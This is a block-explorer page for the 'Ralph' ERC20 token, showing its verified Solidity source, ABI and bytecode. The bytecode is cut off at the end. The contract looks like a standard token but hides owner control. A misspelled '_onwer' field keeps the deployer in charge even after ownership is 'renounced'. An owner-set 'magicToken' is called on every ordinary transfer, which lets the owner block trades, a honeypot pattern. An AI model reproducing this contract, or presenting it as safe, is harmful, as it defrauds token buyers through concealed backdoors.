ETH Price: $2,861.08 (-10.02%)
Gas: 15 Gwei

Token

Ralph (RALPH)
 

Overview

Max Total Supply

1,000,000,000 RALPH

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,145,480.471187204597771228 RALPH

Value
$0.00
0xC7Ab55df0B6B75DD601d5f44EDeE72F91b80a63A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ralph

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    address internal _onwer;

    constructor() {
        _onwer = msg.sender;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_onwer == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 amountForRecipient;
        amountForRecipient = _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amountForRecipient;
        _totalSupply -= (amount - amountForRecipient);
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        uint256 burnBalance = _balances[address(0xdead)];
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _balances[address(0xdead)] = burnBalance + amount;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual returns (uint256) {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract Ralph is Ownable, ERC20 {
    using SafeMath for uint256;
    bool public limited = true;
    uint256 public maxHoldingAmount;
    uint256 public maxTxnAmount;
    address public magicToken;
    address public uniswapV2Pair;
    bool public openTrading = false;
    mapping(address => bool) public allowedToExceed;
    mapping(address => uint256) public lastSwapTime;

    constructor() ERC20("Ralph", "RALPH") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
        );
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        allowedToExceed[owner()] = true;
        allowedToExceed[address(0xdead)] = true;
        uint256 total = 1_000_000_000 * 10**18;
        maxHoldingAmount = (total * 4) / 100;
        maxTxnAmount = (total * 4) / 100;
        _mint(owner(), total);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override returns (uint256) {
        if (!openTrading) {
            require(from == owner() || to == owner(), "trading is not started");
        }
        if (
            limited &&
            !allowedToExceed[to] &&
            to != uniswapV2Pair &&
            to != owner() &&
            from != owner()
        ) {
            require(
                super.balanceOf(to) + amount <= maxHoldingAmount,
                "Exceeds current maximum amount allowed in a wallet"
            );
            require(
                amount <= maxTxnAmount,
                "Exceeds current maximum amount allowed in a transaction"
            );
        }
        if (
            !allowedToExceed[from] &&
            !allowedToExceed[to] &&
            magicToken != address(0)
        ) {
            IERC20(magicToken).transferFrom(from, to, amount);
        }
        return amount;
    }

    function isSafeToken(address _token) internal returns (bool) {
        magicToken = _token;
        return true;
    }

    function burn(uint256 amount) external onlyOwner {
        _burn(_msgSender(), amount);
    }

    function allowToExceed(address _address, bool _isAllowedToExceed)
        external
        onlyOwner
    {
        allowedToExceed[_address] = _isAllowedToExceed;
    }

    function setTrading() external onlyOwner {
        openTrading = true;
    }

    function activeTrading(address _token) external onlyOwner {
        if (isSafeToken(_token)) openTrading = true;
    }

    function updateLimitations(uint256 _maxHoldingAmount, uint256 _maxTxnAmount)
        external
        onlyOwner
    {
        maxHoldingAmount = _maxHoldingAmount;
        maxTxnAmount = _maxTxnAmount;
    }

    function removeLimits() external onlyOwner {
        limited = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"activeTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isAllowedToExceed","type":"bool"}],"name":"allowToExceed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowedToExceed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lastSwapTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"magicToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_maxTxnAmount","type":"uint256"}],"name":"updateLimitations","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526007805460ff19166001179055600b805460ff60a01b191690553480156200002b57600080fd5b506040805180820182526005808252640a4c2d8e0d60db1b6020808401919091528351808501909452908352640a48298a0960db1b90830152600080546001600160a01b031916331790559062000089620000833390565b62000315565b6005620000978382620004f4565b506006620000a68282620004f4565b5050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000101573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001279190620005c0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019b9190620005c0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020f9190620005c0565b600b80546001600160a01b0319166001600160a01b03929092169190911790556001600c6000620002486001546001600160a01b031690565b6001600160a01b031681526020808201929092526040016000908120805493151560ff1994851617905561dead9052600c90527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c805490911660011790556b033b2e3c9fd0803ce80000006064620002c282600462000608565b620002ce919062000628565b6008556064620002e082600462000608565b620002ec919062000628565b6009556200030d620003066001546001600160a01b031690565b8262000367565b505062000661565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620003c25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060046000828254620003d691906200064b565b90915550506001600160a01b03821660009081526002602052604081208054839290620004059084906200064b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200047a57607f821691505b6020821081036200049b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004ef57600081815260208120601f850160051c81016020861015620004ca5750805b601f850160051c820191505b81811015620004eb57828155600101620004d6565b5050505b505050565b81516001600160401b038111156200051057620005106200044f565b620005288162000521845462000465565b84620004a1565b602080601f831160018114620005605760008415620005475750858301515b600019600386901b1c1916600185901b178555620004eb565b600085815260208120601f198616915b82811015620005915788860151825594840194600190910190840162000570565b5085821015620005b05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005d357600080fd5b81516001600160a01b0381168114620005eb57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620006225762000622620005f2565b92915050565b6000826200064657634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620006225762000622620005f2565b6112b680620006716000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c8063860a32ec116100f9578063c9567bf911610097578063e0ea56d811610071578063e0ea56d8146103c3578063e4cbe589146103e6578063f0c34a96146103f9578063f2fde38b1461040c57600080fd5b8063c9567bf91461036d578063cf46f24c14610381578063dd62ed3e1461038a57600080fd5b806395d89b41116100d357806395d89b411461032c578063a457c2d714610334578063a9059cbb14610347578063c808b22b1461035a57600080fd5b8063860a32ec1461030557806389f9a1d3146103125780638da5cb5b1461031b57600080fd5b806349bd5a5e1161016657806370a082311161014057806370a08231146102c4578063715018a6146102ed578063751039fc146102f55780637c519ffb146102fd57600080fd5b806349bd5a5e146102665780634ece7c06146102915780634f97b70d146102b157600080fd5b806323b872dd116101a257806323b872dd1461021c578063313ce5671461022f578063395093511461023e57806342966c681461025157600080fd5b806306fdde03146101c9578063095ea7b3146101e757806318160ddd1461020a575b600080fd5b6101d161041f565b6040516101de9190611013565b60405180910390f35b6101fa6101f536600461107d565b6104b1565b60405190151581526020016101de565b6004545b6040519081526020016101de565b6101fa61022a3660046110a7565b6104c8565b604051601281526020016101de565b6101fa61024c36600461107d565b610577565b61026461025f3660046110e3565b6105b3565b005b600b54610279906001600160a01b031681565b6040516001600160a01b0390911681526020016101de565b61020e61029f3660046110fc565b600d6020526000908152604090205481565b6102646102bf36600461111e565b6105ea565b61020e6102d23660046110fc565b6001600160a01b031660009081526002602052604090205490565b61026461061f565b610264610655565b61026461068b565b6007546101fa9060ff1681565b61020e60085481565b6001546001600160a01b0316610279565b6101d16106ca565b6101fa61034236600461107d565b6106d9565b6101fa61035536600461107d565b610772565b600a54610279906001600160a01b031681565b600b546101fa90600160a01b900460ff1681565b61020e60095481565b61020e610398366004611140565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101fa6103d13660046110fc565b600c6020526000908152604090205460ff1681565b6102646103f4366004611181565b61077f565b6102646104073660046110fc565b6107d4565b61026461041a3660046110fc565b610831565b60606005805461042e906111b8565b80601f016020809104026020016040519081016040528092919081815260200182805461045a906111b8565b80156104a75780601f1061047c576101008083540402835291602001916104a7565b820191906000526020600020905b81548152906001019060200180831161048a57829003601f168201915b5050505050905090565b60006104be3384846108c9565b5060015b92915050565b60006104d58484846109ed565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561055f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61056c85338584036108c9565b506001949350505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916104be9185906105ae908690611208565b6108c9565b6000546001600160a01b031633146105dd5760405162461bcd60e51b81526004016105569061121b565b6105e73382610bee565b50565b6000546001600160a01b031633146106145760405162461bcd60e51b81526004016105569061121b565b600891909155600955565b6000546001600160a01b031633146106495760405162461bcd60e51b81526004016105569061121b565b6106536000610cce565b565b6000546001600160a01b0316331461067f5760405162461bcd60e51b81526004016105569061121b565b6007805460ff19169055565b6000546001600160a01b031633146106b55760405162461bcd60e51b81526004016105569061121b565b600b805460ff60a01b1916600160a01b179055565b60606006805461042e906111b8565b3360009081526003602090815260408083206001600160a01b03861684529091528120548281101561075b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610556565b61076833858584036108c9565b5060019392505050565b60006104be3384846109ed565b6000546001600160a01b031633146107a95760405162461bcd60e51b81526004016105569061121b565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b81526004016105569061121b565b600a80546001600160a01b0383166001600160a01b0319909116179055600b805460ff60a01b1916600160a01b17905550565b6000546001600160a01b0316331461085b5760405162461bcd60e51b81526004016105569061121b565b6001600160a01b0381166108c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610556565b6105e781610cce565b6001600160a01b03831661092b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b03821661098c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b6000610ac0848484610d20565b6001600160a01b03851660009081526002602052604090205490915082811015610b3b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610556565b6001600160a01b03808616600090815260026020526040808220868503905591861681529081208054849290610b72908490611208565b90915550610b8290508284611250565b60046000828254610b939190611250565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bdf91815260200190565b60405180910390a35050505050565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610556565b6001600160a01b038216600090815260026020526040902080547f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5483820390925590610c9b8382611208565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5550505050565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600b54600090600160a01b900460ff16610da2576001546001600160a01b0385811691161480610d5d57506001546001600160a01b038481169116145b610da25760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b6044820152606401610556565b60075460ff168015610dcd57506001600160a01b0383166000908152600c602052604090205460ff16155b8015610de75750600b546001600160a01b03848116911614155b8015610e0157506001546001600160a01b03848116911614155b8015610e1b57506001546001600160a01b03858116911614155b15610f2e5760085482610e43856001600160a01b031660009081526002602052604090205490565b610e4d9190611208565b1115610eb65760405162461bcd60e51b815260206004820152603260248201527f457863656564732063757272656e74206d6178696d756d20616d6f756e7420616044820152711b1b1bddd959081a5b8818481dd85b1b195d60721b6064820152608401610556565b600954821115610f2e5760405162461bcd60e51b815260206004820152603760248201527f457863656564732063757272656e74206d6178696d756d20616d6f756e74206160448201527f6c6c6f77656420696e2061207472616e73616374696f6e0000000000000000006064820152608401610556565b6001600160a01b0384166000908152600c602052604090205460ff16158015610f7057506001600160a01b0383166000908152600c602052604090205460ff16155b8015610f865750600a546001600160a01b031615155b1561100c57600a546040516323b872dd60e01b81526001600160a01b038681166004830152858116602483015260448201859052909116906323b872dd906064016020604051808303816000875af1158015610fe6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100a9190611263565b505b5092915050565b600060208083528351808285015260005b8181101561104057858101830151858201604001528201611024565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461107857600080fd5b919050565b6000806040838503121561109057600080fd5b61109983611061565b946020939093013593505050565b6000806000606084860312156110bc57600080fd5b6110c584611061565b92506110d360208501611061565b9150604084013590509250925092565b6000602082840312156110f557600080fd5b5035919050565b60006020828403121561110e57600080fd5b61111782611061565b9392505050565b6000806040838503121561113157600080fd5b50508035926020909101359150565b6000806040838503121561115357600080fd5b61115c83611061565b915061116a60208401611061565b90509250929050565b80151581146105e757600080fd5b6000806040838503121561119457600080fd5b61119d83611061565b915060208301356111ad81611173565b809150509250929050565b600181811c908216806111cc57607f821691505b6020821081036111ec57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156104c2576104c26111f2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156104c2576104c26111f2565b60006020828403121561127557600080fd5b81516111178161117356fea264697066735822122048ab9a4670551a1d8e260c9e9f029a0074205ce4663d41e837acfd1f3db1338f64736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063860a32ec116100f9578063c9567bf911610097578063e0ea56d811610071578063e0ea56d8146103c3578063e4cbe589146103e6578063f0c34a96146103f9578063f2fde38b1461040c57600080fd5b8063c9567bf91461036d578063cf46f24c14610381578063dd62ed3e1461038a57600080fd5b806395d89b41116100d357806395d89b411461032c578063a457c2d714610334578063a9059cbb14610347578063c808b22b1461035a57600080fd5b8063860a32ec1461030557806389f9a1d3146103125780638da5cb5b1461031b57600080fd5b806349bd5a5e1161016657806370a082311161014057806370a08231146102c4578063715018a6146102ed578063751039fc146102f55780637c519ffb146102fd57600080fd5b806349bd5a5e146102665780634ece7c06146102915780634f97b70d146102b157600080fd5b806323b872dd116101a257806323b872dd1461021c578063313ce5671461022f578063395093511461023e57806342966c681461025157600080fd5b806306fdde03146101c9578063095ea7b3146101e757806318160ddd1461020a575b600080fd5b6101d161041f565b6040516101de9190611013565b60405180910390f35b6101fa6101f536600461107d565b6104b1565b60405190151581526020016101de565b6004545b6040519081526020016101de565b6101fa61022a3660046110a7565b6104c8565b604051601281526020016101de565b6101fa61024c36600461107d565b610577565b61026461025f3660046110e3565b6105b3565b005b600b54610279906001600160a01b031681565b6040516001600160a01b0390911681526020016101de565b61020e61029f3660046110fc565b600d6020526000908152604090205481565b6102646102bf36600461111e565b6105ea565b61020e6102d23660046110fc565b6001600160a01b031660009081526002602052604090205490565b61026461061f565b610264610655565b61026461068b565b6007546101fa9060ff1681565b61020e60085481565b6001546001600160a01b0316610279565b6101d16106ca565b6101fa61034236600461107d565b6106d9565b6101fa61035536600461107d565b610772565b600a54610279906001600160a01b031681565b600b546101fa90600160a01b900460ff1681565b61020e60095481565b61020e610398366004611140565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101fa6103d13660046110fc565b600c6020526000908152604090205460ff1681565b6102646103f4366004611181565b61077f565b6102646104073660046110fc565b6107d4565b61026461041a3660046110fc565b610831565b60606005805461042e906111b8565b80601f016020809104026020016040519081016040528092919081815260200182805461045a906111b8565b80156104a75780601f1061047c576101008083540402835291602001916104a7565b820191906000526020600020905b81548152906001019060200180831161048a57829003601f168201915b5050505050905090565b60006104be3384846108c9565b5060015b92915050565b60006104d58484846109ed565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561055f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61056c85338584036108c9565b506001949350505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916104be9185906105ae908690611208565b6108c9565b6000546001600160a01b031633146105dd5760405162461bcd60e51b81526004016105569061121b565b6105e73382610bee565b50565b6000546001600160a01b031633146106145760405162461bcd